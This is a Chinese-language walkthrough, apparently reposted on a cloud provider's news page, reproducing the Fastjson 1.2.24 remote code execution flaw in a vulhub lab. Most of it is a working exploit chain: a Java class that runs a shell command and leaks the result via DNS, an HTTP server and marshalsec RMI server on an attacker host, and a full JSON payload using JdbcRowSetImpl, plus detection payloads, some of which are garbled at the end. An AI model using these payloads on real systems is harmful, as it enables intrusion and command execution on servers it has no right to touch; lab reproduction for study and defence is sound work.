您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何解析Fastjson1.2.24漏洞復現的過程,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
docker-compose up -d先啟動vulhub的fastjson環境
Docker開啟的8090端口
假設我們目標IP為1.1.1.1,此時我們訪問1.1.1.1:8090
安裝jdk環境
很多linux自帶有jdk環境,但缺少很多組件,會報錯實屬正常
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據自己系統選擇相應jdk下載。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
安裝maven(linux為例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置環境變量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
驗證maven是否安裝成功
mvn -version
報錯解決:
你可能遇到這樣的報錯
說明你安裝的jdk有問題,按上述方法不行就百度。
如果是這樣:
說明你環境變量沒配置好,報這個錯我才發現可以直接用apt安裝,可能是我換了個系統這個源里面有,之前實驗的時候不是這個系統,我這系統是ubantu,具體apt安裝出來的能不能用自己試。
保存以下代碼,命名為dnslog.java
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
執行以下代碼會生成一個dnslog.class文件
javac dnslog.java
使用python在當前目錄下起一個http服務,如果端口占用換其他的
python -m SimpleHTTPServer 4567
使用marshalsec項目,啟動RMI服務,監聽9999端口并加載遠程類dnslog.class
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
編譯項目
mvn clean package -DskipTests
如果出現下圖情況,就是jdk環境問題,自帶jdk環境不完整。按上面步驟安裝即可。
成功是這樣的,target目錄下會生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
當前目錄下執行命令開啟RMI服務:
以我搭建dnslog.class類http服務的服務器IP為2.2.2.2端口為4567
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999
RMI服務可以搭建在與dnslog.class類的http服務同一臺服務器,也可以搭建在其它服務器上。我們演示還是在同一臺。
既然環境準備就緒就掏出burp開搞吧:
構造payload扔burp中發送
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/dnslog",
"autoCommit":true
}
}
成功后是這樣的
RMI:
Python起的http服務:
Burp返回包:
Dnslog平臺能看到執行結果:
為什么我要說著三處執行情況,大家肯定很好奇,直接說結果不就好了嗎?
這里又是已給可能出錯的地方,第一處檢查rmi運行情況,第二處檢查http服務開啟情況,第三處就是執行結果。
如果最終結果有問題,那處結果顯示不正常就去哪個地方找原因。第一、二處最有可能出現問題的就是端口占用或者防火墻攔截。Dnslog平臺沒有顯示就說明命令未執行成功,也有可能是平臺問題。具體自己檢查。
任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現fastjson字樣。當然這個可以屏蔽,如果屏蔽使用其它辦法,往后翻。
構造以下payload,利用dnslog平臺接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
上述內容就是如何解析Fastjson1.2.24漏洞復現的過程,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。